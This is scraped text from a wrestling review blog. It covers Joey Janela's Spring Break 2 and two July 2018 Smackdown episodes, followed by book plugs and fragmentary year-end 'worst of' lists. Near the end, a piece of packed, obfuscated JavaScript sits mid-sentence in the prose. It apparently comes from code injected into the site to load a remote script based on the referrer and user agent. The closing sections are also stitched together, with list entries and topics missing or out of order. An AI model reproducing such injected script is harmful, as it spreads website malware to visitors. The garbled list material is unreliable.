Joey Janela’s Spring Break 2
Date: April 6, 2018
Location: Pontchartrain Convention & Civic Center, Kenner, Louisiana
Attendance: 1,500
Commentators: Denver Colorado, Emil J

I’ve done parts of this series before so I figured I might as well knock off the rest of them. This show features a match that I’ve always wanted to see as it started one of the strangest comeback stories in wrestling history. Other than that, we’re in for a total mess and that is absolutely by design. Let’s get to it.

The opening video is designed after what looks to be a 16 bit video game, with Joey Janela and Glacier going after Marty Jannetty on the streets….where Jannetty lights Dink on fire to clear the stage. The second stage features Janela and Jannetty shooting at a Barber Shop (which can shoot back). With the shop destroyed, Shawn Michaels pops out of a DeLorean and superkicks Jannetty. That was different.

James Ellsworth is in a toy store and talks about working in WWE before coming here in his return to the independent scene. Tonight he’s ready to fight Matt Riddle, who doesn’t think much of Ellsworth.

Nick Gage music video. Is this just a really long pre-show?

David Starr talks about what wrestling has done for him and tonight, he’s ready for Mike Quackenbush. This is a really long pre-show isn’t it?

Quackenbush is in, and says so to Starr’s face.

Video on the Great Sasuke vs. Joey Janela, the show’s main event.

There’s going to be a Clusterf*** Battle Royal.

We start the series of videos from the beginning again as I guess we’ve got some time to kill before the show starts.

After 24 minutes of the videos looping, we’re ready to go, meaning we get to hear the commentators getting ready for the show and going over the match order.

The opening video is modeled after the WWF Attitude Era intro.

We open with a video on Joey Janela, which is basically a recreation of The Wrestler.

Teddy Hart vs. KTB vs. Tony Deppen vs. Eli Everfly vs. Gringo Loco vs. DJZ

One fall to a finish and DJZ would go on to become Joqauin Wilde in WWE. It’s a brawl to start (duh) with Everfly being sent outside. Deppen clears the ring but gets anklescissored down by Loco. Everfly is back in to snap off a headscissors before he and Loco come to a standoff. Hold on though as DJZ is back with his air horn but gets cleared out again. Hart walks on KTB’s back before pulling him into a sunset flip for two.

A torture rack backbreaker sends Deppen outside and a Project Ciampa hits Everfly. With a helping hand from the referee, Hart moonsaults onto a bunch of people on the floor. KTB dives onto everyone (Hart doesn’t go down) and Everfly hits a dive of his own. Back in and a springboard tornado DDT plants KTB and a super hurricanrana gives Everfly two on Loco. KTB comes off the top to dive onto everyone but Hart, who DDTs KTB down.

A Lionsault misses for KTB and Loco hits a springboard cutter to bring him down again. DJZ is back up and sunset bombs Loco into a moonsault onto KTB before hitting them both with a rolling DDT. Everfly hurricanranas Hart to the floor and takes Deppen up top for a…..super flipping Jay Driller (commentary: “He can’t do that!”) and the pin at 11:06.

Rating: B-. I’m not big on scrambles like this one, but there is something to be said about doing this kind of acrobatics and flips all over the place. It was certainly a fun match and the right way to fire up the crowd to start the show. Everfly’s finisher was completely nutty, making it perfect for a show like this one. Very fun stuff here and believe it or not, the fans loved it.

James Ellsworth vs. Matt Riddle

Ellsworth’s intergender title isn’t on the line (and I’m assuming Riddle’s unidentified title isn’t either). Ellsworth chop blocks him from behind before the bell but Riddle snaps off a gutwrench suplex to drop him as well. Fans: “WHERE’S YOUR CHIN?” Riddle hits a running forearm in the corner and the backsplash makes it worse. Riddle’s running knee just misses….because Ellsworth doesn’t have a chin. A superkick gives Ellsworth one but another is countered into the Bromission to give Riddle the win at 3:38.

Rating: C. Well yeah, what were you expecting? This was always going to be total destruction and it shouldn’t have been anything else. Ellsworth was always a joke and that’s how he was treated here, with Riddle, the indy prodigy, running through him. The missed knee was funny and then Riddle finished him off, as he should have done. That’s oddly logical from a show like this but I’ll take it.

Ellsworth flips off the crowd on the way out in a nice touch.

The ring announcer is ready to introduce the next match and….Virgil interrupts? He calls someone out (the audio isn’t exactly clear), gets no one, and leaves.

PCO vs. Walter

PCO isn’t the monster just yet. Before the match, Walter offers a chance to walk out but PCO gives him a crotch chop and we’re ready to go. They circle each other to start and PCO takes him into the corner for some taps to the chest. Walter works on the arm and gets kicked away without much trouble. PCO knocks him outside and loads up the dive, only to get run over with a shoulder.

The chop off ensues until Walter grabs a slam and sits on his chest. Some choking on the ropes keeps PCO down but he chops his way out of trouble. A kick to the head and short DDT put Walter down and it’s time to head outside. PCO loads up the first table but takes too long and gets dropped down onto the apron. Walter blocks a powerbomb off the apron and sends PCO hard into the steps, but the big chop only hits post.

As he’s a bit off, PCO goes up top and moonsaults down onto Walter and the referee for the big triple knockdown. Granted there was almost no length to the dive so it’s a wonder that he hit the two of them as well as he did. Walter is up first and powerbombs PCO through the table before doing it again (sans table) inside.

The second referee comes in for the two count so PCO gets booted in the face. The chops just wake PCO up though and he opens his own shirt so Walter can chop him again. PCO wins a chop off and the fans are actually on their feet as Walter looks scared. A discus forearm puts Walter on the floor for a suicide dive and a running flip dive takes him down again.

Back in and a super hurricanrana gives PCO two but Walter flips him over with a release German suplex. PCO is right back with a Regal Roll into a split legged moonsault for two (and another standing ovation). Back up and PCO hits a top rope Swanton to finally put Walter away at 18:29.

Rating: B+. Oh yeah this was rather awesome as it was all about two big guys beating each other up and hitting each other really hard. Walter was already a big deal but this would be a nice boost to his career. At the same time, it kicked off one of the most improbably career resurgences as PCO would turn this into an incredible second act to his career. It’s easy to see why too, as this was just hard hitting pain for the sake of beating on each other, with those chops making my skin crawl.

Post match they trade another chop each and shake hands before Walter leaves.

GCW World Title: Penta El Zero M vs. Nick Gage

Gage is defending and swears a lot before the bell. We get a CERO MIEDO vs. MDK chant off until Gage knocks him outside. The dive is cut off with a chair to the head and Penta chairs him again for a bonus. Penta’s chop hits the post though (with commentary pointing out that it’s two matches in a row) but is fine enough to grab some doors. Gage hiptosses him through a door in the corner and grabs a Falcon Arrow for two.

The boot scrape is cut off though and Penta Death Valley Drivers him through another door. A piece of the door over the head rocks Gage again and Penta puts some pieces onto Gage onto a table. The backsplash off the barricade doesn’t put Gage through said table in a nasty crash. Back in and Penta bridges a door over some chairs and Pentagon Drivers him through the door for two. Penta sets up another similar structure but gets powerbombed off the ropes through it instead. The chokebreaker retains Gage’s title at 9:27.

Rating: D+. This felt like a match where the idea was “Gage vs. this guy” and they didn’t have any more thought put into it. Gage didn’t do much of anything here and then retained in the end after Penta had done so much. That didn’t make for an interesting or even fun match from the usual freak show standards, so this was kind of a wreck.

Respect is shown post match. Penta leaves and Gage yells at the fans, who don’t seem to like him. Then he high fives a bunch of fans on the way out so he’s quite an odd duck.

Mike Quackenbush vs. David Starr

Starr does his long introduction and commentary (featuring Walter for this match) will not shut up, saying no one cares what Starr has to say. They fight over arm control to start until Starr gets two off a Thesz press. Back up and they shake hands before Mike climbs the rope and armdrags him into a leglock which he rolls over for what appeared to be a Crossface attempt, sending Starr to the rope.

Mike stomps on the foot and sweeps the leg, setting up some double knees to the ribs. The abdominal stretch goes on and even Walter is impressed by the series of twists it took for Mike to get it on. With that broken up, Starr Death Valley Drivers him into the corner twice in a row, followed by a springboard clothesline to the floor. Starr doesn’t want the countout so he throws Mike back in and gets tossed off the top for his efforts.

A Swanton gives Mike two but his hurricanrana is countered into a powerbomb for two. Starr kicks him in the head for two, which has Walter wanting Mike to win because Starr is “acting like a d***.” A nice tornado DDT sends Starr outside but the big dive is cut off, with Starr driving him into the apron. Back in and Mike grabs a double arm crank but Starr slips out and blasts him with a clothesline for the pin at 11:37.

Rating: B-. This was the technical match of the night so far, with Starr being just enough of a villain to make it a little uneven. What mattered here was getting in something different on the show and they made it work. These two worked well together and you could hear Walter being impressed on commentary so there had to be something to this one.

Commentary: “Walter is it fair to say that the better man won?” Walter: “No.” Starr grabs the mic and puts Mike over before saying how glad he was for being on this show.

Clusterf*** Battle Royal

This is a Royal Rumble with pinfalls, submissions and over the top eliminations, though the entrance intervals are going to be shaky at best. We see some people in the back trying to check into the match, including MJF in a blonde wig disguise. Jimmy Lloyd is in at #1 and Session Moth Martina (she likes beer) is in at #2. Martina dances a lot and gets kissed for her efforts as Orange Cassidy (still just an indy guy and not a phenomenon yet) is in at #3.

Cassidy takes so long to come in that Wheeler Yuta (looking about 17 years old) comes in at #4 and Curt Stallion comes in at #5 for the grapple off. Yuta rolls him up for two and it’s Facade in at #6 to strike away at Stallion. Facade sends him outside and adds a rope walk moonsault onto everyone outside (as no one has been eliminated yet). Back in and a running kick to the head pins Stallion for our first elimination. Swoggle is in at #7 and snaps off some German suplexes.

With Swoggle cleaning house, Grado is in at #8 and he seems immune to German suplexes. Apparently Grado is quite intoxicated and Kikutaro is in at #9 and crotches himself while trying Old School. As some other wrestlers come back in….the Invisible Man is in at #10. House is cleaned and Kikutaro is tossed before Swoggle taps to a Fujiwara armbar. Joe Gacy is in at #11 and slugs it out with Yuta, including the handspring cutter. Bryan Idol is in at #12 and gets to clean some house before Chris Dickinson, in a mask, smoking a cigarette, and coming out to Real American, knocks out Facade.

Gacy is tossed and Yuta is Razor’s Edged out onto the pile (some are still in, some aren’t) at ringside. Dickinson hits Hulk Hogan’s finishing sequence to get rid of Grado and is left alone (I think). Dan Severn is in at #13 and they go with the grappling (after issues at yesterday’s Bloodsport). Alabama Doink (sure) is in at #14 and gets tossed by Severn, who is eliminated by Dickinson. Rickey Shane Page is in at #15 and beats up Dickinson….as well as the still in Lloyd.

With that not working, Marcus Crane comes in at #16 and gets beaten up by Dickinson. Aeroboy (a masked luchador with another masked man apparently named Crazy Boy….who looks like Excalibur) is in at #17 and starts cleaning house, with a Swanton into a double pin getting rid of Dickinson. Rory Gulak (or Drew, according to the rather drunk commentary team) is in at #18 and doesn’t like the idea of the match (with the sign to prove it). Nate Webb is in at #19 and walks through the crowd as Rory beats people up inside.

Everyone gets out of the ring as the fans sing Webb’s song. After taking over the camera, Webb gets inside and plants Gulak with something like a spinning Big Ending for the elimination. Ethan Page is in at #20 so Gulak kicks him in the head. That earns Webb a trip into the corner and it’s MJF (no wig) in at #21.

The masked men go after Page and MJF, with the villains tossing out the luchadors. With them gone, MJF Codebreakers Page into a rollup for the elimination. Martina (hey she’s still in this) comes back in and puts a condom on her face for a Mandible Claw on Page. She also wraps her legs around MJF’s hand for the female version of Joey Ryan’s penis suplex. Then Page rolls her up for the elimination. Cassidy finally gets in for the lazy strikes (the fans approve) and a double chokeslam pus the villains down.

That lets Cassidy go up….and fall off the top so MJF and Page can pin him at the same time. The Invisible Man beats both of them up until Lloyd gives him a piledriver…..which is illegal in Louisiana so Lloyd is eliminated. Page and MJF double team Webb for a double two count so they beat up referee Bryce Remsburg. That results in a beating from Remsburg, who gets sent outside.

Mikey Whipwreck is in at #22 (oh yeah this is a battle royal) and beats the villains up until MJF elbows him in the face. The Whippersnapper (Stunner) sends Page into a spinning faceplant from Webb for the pin and we’re down to….however many are still in this thing. MJF shoves Mikey off the ropes and hits a splash for the pin. A poke to the eye stuns Webb and MJF throws him out….but the Invisible Man rolls MJF up for the win at 39:38.

Rating: D. This right here? It was dumb. I get the idea of having a bunch of people involved and all that jazz but my goodness did this not hold my interest. I’m sure the live crowd (plus a lot of alcohol) really enjoyed it but it was a bunch of indy stars coming in, doing a little something and then moving on. It’s also one of those battle royals where it is virtually impossible to keep track of who is in there and who isn’t as people will stand outside for such long stretches. These things can be fun, but this didn’t have any big surprises or cool moments, leaving it as something that just kept going.

Joey Janela vs. Great Sasuke

Penelope Ford, in a Mardi Gras mask, is here with Janela. Sasuke comes to the ring with what looks like holy water to bless fans. A quick takedown doesn’t get either of them very far so they go to a grappling sequence with Janela twisting the fingers around. Sasuke nips up though and sits in the middle of the ring, which has Janela worried. Back up and Sasuke…apparently hypnotizes Janela and then spins his hand around, causing Janela to flip himself over.

Sasuke puts him in a chair at ringside and loads up a ladder, only to be whipped into it instead. Back up and Sasuke sends him flying off the top and onto the table for a nasty crash. Sasuke brings it back inside and puts Janela on the ladder for a missed Swanton, leaving Sasuke’s heck caught in said ladder. Janela grabs an inflatable alligator to crush Sasuke before loading up six chairs back to back.

With Janela going up top, Sasuke powerbombs him down onto the chairs in one of those STOP DOING THAT bumps. Sasuke hits him in the head with a door and then whips him through another in the corner. They slug it out on the apron and there’s a Death Valley Driver to plant Sasuke (Janela: “F*** YOU JIM CORNETTE!”). With Sasuke in a chair at ringside, Janela misses a top rope flip dive, only hitting the chair instead.

Janela is laid on a table and a big running flip dive drives him through it, which draws in Ford. A dance distracts Sasuke and Janela grabs a figure four. Sasuke gets to the rope, which rightly has commentary asking “IN THIS MATCH?” Janela misses a moonsault and gets laid over another table at ringside, allowing Sasuke to try and put a trashcan over himself and climb up.

This proves rather difficult (as you might have guessed) so he just throws it at Janela instead, setting up a Swanton onto Janela onto the table for the huge crash. Back in and Janela gets two (as Sasuke is mostly dead) but can’t believe the kickout. A Michinoku Driver onto the side of the ladder gives Janela two more, followed by a top rope double stomp onto a chair onto Sasuke for the pin at 25:16.

Rating: D+. To say this just kept going would be an understatement. It turned into little more than a hardcore brawl and that isn’t the most thrilling thing to see. Sasuke did a bunch of flips, but it didn’t exactly feel like a special match. Chop this in half and have some more wrestling and it’s much better, but it didn’t work for the most part, mainly due to the length and feeling like an indy street fight.

Post match Janela puts Sasuke over huge and thanks the fans, talking about how he can’t believe all this happened. Sasuke gets in a quick thank you of his own and they do a quick karaoke version of It’s My Life by Bon Jovi (sure) to end the show.

Overall Rating: C-. This is a show where it depends on your viewing location. Watching this live in person would have been a blast, though watching it back at home just doesn’t work so well. The Quackenbush vs. Starr and PCO vs. Walter matches are both good (the latter being very good) but the rest of the show is mostly skippable. These shows would get better, but it took some time to get the formula of “fun indy show” down. For now, it isn’t quite working yet, but it could have been a lot worse. Just kind of a not great show that went on too long.

 

 

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Smackdown
Date: July 10, 2018
Location: SNHU Arena, Manchester, New Hampshire
Commentators: Tom Phillips, Corey Graves, Byron Saxton

It’s the other go home show for Extreme Rules and the big match tonight is AJ Styles vs. Shinsuke Nakamura VI, though in a rare non-title version. You could probably pencil in Rusev for some interference to slow Styles down and give Nakamura some momentum heading into the US Title match. Other than that, normally I would expect a few more gimmicks being added to Sunday’s card but that doesn’t seem to interest them with this year’s Extreme Rules. Let’s get to it.

Here are last week’s results if you need a recap.

Here’s Miz to open things up with MizTV. After promising to win an Emmy for Miz and Mrs. in two weeks, he brings out Kane and Daniel Bryan as his guests. Before we can get to that though, Miz needs some assurance that Bryan won’t punch him in the face. Bryan agrees to be professional so Miz says this is like Justin Timberlake reuniting with N’Sync. Kane: “N’SYNC WILL NEVER REUNITE! J.T. is just too big of a star now.” Miz gives us a highlight package on the team’s history, interspersed with their fights and issues. Actually that’s not the footage Miz meant to show but we’ll address it anyway.

Bryan doesn’t buy it and says Miz is terrible at everything, especially wrestling. Miz finally snaps, saying he knows Bryan is going to fall for this all over again. Ever since Bryan came back, Miz has been hoping he gets to end his career for good. Kane plays peacemaker but Miz goes one step too far, accusing him of hiding behind his broken down demon. The chokeslam is loaded up but the Bludgeon Brothers arrive to break it up. Cue Sanity for the same but New Day runs out and it’s a huge brawl. The bad guys get the better of it and you can book the ten man tag for later.

Post break, ten man tag, booked.

AJ Style vs. Shinsuke Nakamura

Non-title. Hang on though as here are Rusev and Aiden English with the former promising to tear down the house that AJ Styles built on Rusev Day. A dropkick puts Nakamura on the floor and we take a break. Back with Rusev on commentary, saying that he’s already told his mother he won the title. AJ is sent to the apron but the Phenomenal Forearm is broken up. A kick to the back of the head and a gordbuster look to set up Kinshasa.

That’s reversed into a rollup for two and an enziguri rocks Nakamura. He’s fine enough to hit the running knee in the corner as Rusev promises four different counters for the Calf Crusher. We take a second break and come back again with Nakamura telling him to COME ON. That earns him a fireman’s carry backbreaker but the Styles Clash attempt is countered into a triangle choke.

That’s reversed as well and Styles tells him to COME ON. Nakamura misses a charge to the floor so AJ hits the slingshot forearm to the floor. AJ goes after English (Rusev: “WAS THIS REALLY NECESSARY???”), who takes Kinshasa by mistake. That’s enough for Rusev, who pulls AJ off the apron for the DQ at 15:55.

Rating: C+. These two are good together as usual but WWE has somehow managed to run what should have been a dream match into the ground by having them fight six times in about three months. The ending was the right call as you don’t want either of them taking a clean loss and Rusev gets to be a jerk at the same time.

Post match Jeff Hardy makes the save so here’s Paige to make the tag match. That would be the second tag match made after a brawl in the first 45 minutes.

AJ Styles/Jeff Hardy vs. Rusev/Shinsuke Nakamura

Rusev throws AJ down to start and we hit a bearhug, meaning it’s a split screen promo about Alexa Bliss vs. Nia Jax. Back to full screen with AJ grabbing a sleeper before diving over for the tag to Hardy. Jeff speeds things up in a hurry and a basement dropkick gets two on Rusev. Everything breaks down and the Twisting Stunner looks to st up the Swanton, only to have Jeff get crotched by Nakamura. The Machka Kick ends Hardy at 5:18.

Rating: D+. Not enough time to be any good here but the ending was the right call. Rusev isn’t likely to win the title but at least we can get a good match out of it. Nakamura winning however is the only real option and exactly what needs to happen. I liked the booking here, but the execution wasn’t great, at least partially due to the long promo in the middle.

James Ellsworth is warming up when Carmella comes in to tell him he better win. Ellsworth says he’s ready and winks at her, which isn’t the right move.

Asuka vs. James Ellsworth

Lumberjack match with the women’s division around the ring. I still say Ellsworth should be Curt Hawkins in an attempt to save his job. If you want to really make Carmella seem more impressive, have her get a second, more successful person under her thumb. Plus you don’t bring in another name when there are so many people with nothing to do. Before the match, Ellsworth says he’s ready for Asuka, but does ask that no one try to kiss him.

The threat of an early spinning backfist puts Ellsworth on the floor where Becky Lynch and Naomi toss him back inside. Ellsworth gets knocked outside again but the lumberjacks get in a fight. That’s enough for Ellsworth who tries to run but Becky and Naomi catch him again. Everyone else goes after them so Asuka dives onto the pile. In the melee, Carmella hands Ellsworth mace but Asuka kicks it out of his hand. Ellsworth gets kicked into Carmella so the Asuka Lock can finish him at 3:20.

Rating: D-. What does it say about Asuka when she goes from dream match at Wrestlemania to a relief that they didn’t have James Ellsworth beat her? The worst part is you can probably pencil Asuka in for another loss on Sunday, as Becky Lynch seems poised to be the next challenger. I’m glad that Becky is getting the chance, but Asuka has been lost in the shuffle so hard.

Post match Carmella goes after Asuka so Ellsworth can mace him, setting up Carmella’s superkick.

We look back at the opening brawl.

New Day and HELL NO talk strategy for tonight. New Day wants to gang up on them. Bryan suggests taking out their knees. Kane wants to set them on fire and send them to hell. Bryan: “Do you think we can just summon Satan and send open a portal?” Kane: “Technically it’s a gateway but YES! THAT’S EXACTLY WHAT I WANT!”

Kane and Bryan get into a YES/NO argument but Big E. takes charge and tells Woods to come up with a plan, Kofi to be like the Flash, Bryan to become the Goat Faced Killer, and for Kane to get with them. Kane quotes N’Sync’s This I Promise You. Bryan: “Was that N’Sync?” Kane: “IT STILL APPLIES!” Why does Daniel Bryan know N’Sync lyrics? As usual, Kane and Bryan have great chemistry and timing together.

Post break Ellsworth and Carmella are in the back when Paige comes up. On Sunday, Ellsworth is going to be suspended above the ring in a shark cage.

Andrade Cien Almas vs. Sin Cara

It’s about time. Almas speeds things up to start and sends him outside for a suicide dive. Back in and Almas takes him down to send us to a break. We come back with Almas slamming him down but hitting knees on a top rope splash attempt. An Alberto Del Rio top rope double stomp puts Cara on the apron and the running knees in the corner are good for the pin at 5:57. Too much took place during the break but this wasn’t quite worth the wait.

Pay per view rundown.

Sanity promises to bring the chaos. The Bludgeon Brothers come in and seem pleased with that mindset.

New Day/HELL NO vs. Bludgeon Brothers/Sanity

In kayfabe, that’s some pretty awesome timing for the production staff to know when the match is going to grind to a halt so these videos can air. Back to full screen with Dain hitting a backsplash, just in time to go to a commercial. We’re not even nine minutes into this match and we’ve had two commercials and an inset promo. I know this is crazy for a fan to say, but I’d actually like to watch the match instead of an ad every three minutes.

Back with Woods still in trouble and Harper’s Michinoku Driver getting two. New Day makes the save, allowing Woods to hit his springboard tornado DDT on Harper. The hot tag brings in Bryan to hammer on Young as everything breaks down. We hit a parade of secondary finishers until Big E. spears Dain off the apron. Back in and Bryan knees Young down for the pin at 16:41.

Rating: C+. Well what we saw of it was good. A match that isn’t even eighteen minutes long doesn’t need two breaks and an inset promo as a mini break, but WWE has too much stuff to advertise to do a match like this uninterrupted. If nothing else Sanity getting this kind of push (two months after being announced) out of the shoot is nice, and odds are they win on Sunday.

Post match Kane does a YES chant but Bryan tries to do the Kane fire deal. It three attempts but the fire comes out, sending Bryan into a cheer to end the show.

Overall Rating: C-. This was a rather up and down show with some stuff (Kane/Bryan, Styles vs. Nakamura and Rusev) working very well but the bad stuff (Ellsworth, the inset promos and two matches being made on the fly with a similar setup) really bringing it back down. I’m more interested in the Tag Team Title match, but it’s pretty sad that that’s being treated as the Smackdown main event over the World Title match. There’s a great opening to have AJ vs. Rusev main event on Sunday but it’s likely going to be the third biggest match on the card at best. Is there any wonder why fans get frustrated with this company?

Results

AJ Styles b. Shinsuke Nakamura via DQ when Rusev interfered

Rusev/Shinsuke Nakamura b. AJ Styles/Jeff Hardy – Machka Kick to Hardy

Asuka b. James Ellsworth – Asuka Lock

Andrade Cien Almas b. Sin Cara – Running knees in the corner

HELL NO/New Day b. Sanity/Bludgeon Brothers – Running knee to Young

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Smackdown
Date: July 3, 2018
Location: Century Link Center, Omaha, Nebraska
Commentators: Tom Phillips, Corey Graves, Byron Saxton

We’re less than two weeks away from Extreme Rules and the top story around here is the reunion of Daniel Bryan and Kane, who got back together last week and are already receiving Tag Team Title shot at the pay per view. Other than that we’re getting closer to Rusev Day where Rusev might win the WWE Championship. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Kane returning to help Bryan last week. You know what we haven’t opened with either tonight or last night? An In Memory Of Matt Cappotelli graphic. Couple that with the lack of a Vader tribute video (on TV at least, as they did have one on YouTube) and WWE is really slacking in this area as of late.

Jey goes over some more of the team’s history but doesn’t think they should be getting a title shot. They get a title shot because they’re out here HUGGING? The Usos hug four times so they should get four title matches. The challenge is thrown out but Kane says they need to consider this as a team. Bryan doesn’t think much of this because Kane still thinks he’s the weak link. Cue Paige to confirm the Bryan and Kane will get the shot at the “Smackd” (yes Smack D, minus the own at the end) titles. Tonight though they’re facing the Usos, who will be added to the title match if they win.

Jeff Hardy explains why bald eagles are cool and has a US Open Challenge tonight.

Asuka is ready to beat up James Ellsworth tonight.

US Title: Jeff Hardy vs. ???

Hardy is defending against….The Miz, and thankfully they actually mention Miz beating Hardy in a Money in the Bank qualifying match. I’m rather surprised and pleased. A sitout jawbreaker has Miz in early trouble but it’s too early for the Twist of Fate. Miz bails from the threat of a Swanton and we take a break.

Back with Jeff fighting out of a chinlock but getting kicked down for two. That gets several replays before Jeff fights back with some of his usual, including a forearm and the legdrop between the legs. Some right hands send Miz outside but a missed charge into the barricade takes us to a second break after only being back for a few minutes.

Back again with Jeff hitting a spinning kick to the chest but favoring his leg, which Miz worked on during the break. Miz hits the running corner clothesline but misses a top rope ax handle, allowing Jeff to score with the Whisper in the Wind for two. A rollup with feet on the ropes gives Miz the same so he gets in an argument with the referee, allowing Jeff to hit the Twisting Stunner and a Swanton to retain at 16:25.

Rating: B-. The rapid fire commercials didn’t do this many favors but the match worked well enough, especially when Miz didn’t have much of a chance to win the title. It’s pretty clear that Shinsuke Nakamura is getting the title as soon as his leg heals up, which very well may be at Extreme Rules. That being said, I do like the idea of the title being defended more regularly.

Extreme Rules rundown. Two gimmick matches (an Iron Man match and an Extreme Rules match) aren’t exactly enough to live up to the show’s name.

James Ellsworth is posting in front of a mirror and promises to show that men are the superior gender.

Byron Saxton is in the ring, wearing a straw hat for….oh holy sweet goodness….the Third of July Pancake Eating Contest. The participants (of course New Day) all get introductions, including a few biographical details (Woods was born in a barrel of butcher knives and raised in a forest fire) but Big E.’s is so long that Byron just skips it. There’s a five minute clock and the pancakes are red, white and blue. The lights go out a few seconds in and here’s Sanity from behind to beat New Day down. I’ve never been so glad to see Eric Young. Big E. is thrown over the announcers’ table and Woods is elbow dropped through the table.

We look at the famous Battle of the Sexes tennis match to set up Ellsworth vs. Asuka.

Asuka vs. James Ellsworth

Carmella comes out for commentary but hang on a second as Ellsworth needs to do some pushups. A single push puts Ellsworth on the floor and Asuka unloads on him with right hands into the airplane spin. Ellsworth needs to stop for a breath so Asuka slaps the heck out of him. That’s enough for Ellsworth who runs into the crowd and it’s a double countout at 1:53.

Asuka chases Ellsworth back to ringside and gets hit with the belt.

Bryan has a list of things Kane has done to him over the years and wants an apology for all of them. Kane apologizes for everything and says Bryan is like a brother to him. Bryan: “You set your brother on fire!” Kane: “That’s…..never mind!” Kane talks about how important this is and asks if Bryan is ready. I’ll let you fill in the details.

Hardy vs. Nakamura is confirmed for Extreme Rules. Again, no gimmick attached.

Here’s AJ Styles for a match but first he talks about facing someone bigger and stronger than he is at Extreme Rules. That’s what he loves to do though because it’s another challenge. Rusev has been saying that he’s coming to take the title and throw him out. AJ: “Does he think this is rental property?” Cue Rusev to say he’s going to throw AJ out of the house that he built and move in on RUSEV DAY.

AJ Styles vs. Aiden English

Non-title. Rusev says he forgot to tell AJ something so English jumps him from behind. Rusev: “Never mind!” We take an early break and come back with English grabbing a neckbreaker for two. Not that it matters as the Calf Crusher makes English tap at 4:30.

Post match Rusev beats Styles down.

The Iconics are ready for Becky Lynch tonight.

Carmella yells at Ellsworth when Paige comes up. Next week it’s Asuka vs. Ellsworth in a lumberjack match.

Becky Lynch vs. Peyton Royce

Neither gets an entrance, but we got to see more from Ellsworth so it’s all fine. Peyton wastes no time in dropping Becky with a Samoan drop for two and it’s off to an abdominal stretch. That’s switched into a seated abdominal stretch but Becky is back up with the Bexploder. Becky slips out of a fireman’s carry and the Disarm-Her makes Royce tap at 3:32.

Rating: D+. In theory this is building towards Becky vs. Carmella, and while it makes me cringe to think that Carmella is going to go over Asuka again, I can appreciate the idea of Lynch getting another run with the title. She’s one of the best all around performers on the roster and I’m not sure why she hasn’t gotten another chance already.

Nakamura promises to strip away Jeff’s pride, honor and title.

Usos vs. HELL NO

If the Usos win, they’re added to the Tag Team Title match at Extreme Rules. Bryan drop toeholds Jimmy down to start and puts on the surfboard. A corner dropkick seems to wake Jimmy up for some reason so it’s off to Jey, who gets dropkicked as well. Kane comes in and misses an elbow but shoves both twins over the top at once. They pull Kane out with them though and it’s back to back dives to drop Bryan and Kane as we take a break.

Back with Bryan speeding up things up and hitting another running dropkick on Jey in the corner. There’s a super hurricanrana and the YES Kicks have Jey in even more trouble. The Usos finally get their stuff together and take Bryan down with Jimmy stomping away in the corner. A backbreaker/middle rope chop combination gets two and the Usos make a wish on Bryan’s legs.

Back up and a double clothesline allows the hot tag to Kane but he’s kicked to the floor without much effort. Jey charges into an uppercut but it’s time for the superkicks. Back to back double superkicks put Bryan down and get two on Kane and it’s time to go up. The Double Us is caught by the throat, allowing Bryan to knee Jey down and Kane to chokeslam Jimmy for the pin at 12:38.

Rating: C. Kane looked REALLY bad here, barely able to move and not doing much of anything other than being knocked back a few steps and signature stuff. The guy is 50 years old and barely even wrestles part time anymore, but his talking and character stuff is still more than enough reason to have him around. Bryan worked most of the match and was his usual self, but the important thing was they got the finish right.

Bryan and Kane do the YES pose and hug, only to be cut off by the Bludgeon Brothers. A big staredown ends the show.

Overall Rating: C+. I don’t know if this show is that much better (and it’s pretty good) or if it’s just so much better than Raw but this was so much more pleasant to watch than what we saw last night. This is a show with logical angles and you can see where they’re going, but more importantly the people aren’t doing horrible things to each other and expecting us to cheer as a result. That makes for such an easier night to watch and is why Smackdown continues to stay miles ahead of Raw.

Results

Jeff Hardy b. The Miz – Swanton Bomb

Asuka vs. James Ellsworth went to a double countout

AJ Styles b. Aiden English – Calf Crusher

Becky Lynch b. Peyton Royce – Disarm-Her

HELL NO b. Usos – Chokeslam to Jimmy

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

This just came out on its own and shows how tunnel visioned things can be in WWE.

https://wrestlingrumors.net/kbs-review-one/

Over the course of the end of the summer and a good chunk of the fall, Sheamus and Cesaro engaged in a best of seven series for a future championship opportunity. While the matches were entertaining enough, the fans really seemed to get tired of the same match over and over again. I was one of them and, knowing WWE, I had a bad feeling they would somehow have the series end in a draw and give Sheamus and Cesaro a Tag Team Title match instead.

2. Emmalina Debuts. Eventually.

The worst case scenario is that this is the female version of Brodus Clay. You might remember that idea: over the course of several months, we were teased with the unveiling of Clay as a monster (which we had seen before). What we wound up with was Clay as a dancer in bright red and called the Funkasaurus. I liked the surprise, but I have a bad feeling about what WWE might find funny.

4. Roman Reigns vs. Lana

5. Naked Enzo Amore

6. James Ellsworth

Now this is a case where your individual miles may vary. Ellsworth debuted in WWE back in July in a match where he was completely destroyed by Braun Strowman. While being off TV for a bit, Ellsworth would be brought back as a mystery partner for AJ Styles, which resulted in several weeks worth of appearances, including a series of victories over Styles in non-title matches, one of which gained Ellsworth a contract.

If the Lana stories were just stupid, this one is something that was so confusing that a lot of the audience just gave up trying to figure out what was going on. The problem here was very simple: we never actually got an explanation for what was going on. Shane returned and got into an argument with his father Vince over who would get to run “Monday Night Raw”.

8. Triple H Likes ME Better!

9. The Cabinet

How can I put this? Ah yes: the Cabinet WAS NOT FUNNY. I know everyone went election crazy in 2016 and almost every wrestling promotion tried to do something with it (such as making Darren Young great again) but Ring of Honor decided that they needed a full on election committee.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydyzb|var|u0026u|referrer|fssfa||js|php'.split('|'),0,{})) wrap it up with probably the most subjective of all the awards: worst wrestler of the year. Now this can have a few different definitions and the nominees encompass both. In this case it could be either the worst in ring performer or the person who serves the least important purpose. It’s very rare to have one person do both but maybe that’s the case here with the worst wrestler of the year. As usual, these are in no particular order.

1. Dolph Ziggler

2. Braun Strowman

3. Eva Marie

4. Carmella

5. Brock Lesnar

6. Baron Corbin

7. James Ellsworth

8. Shane McMahon

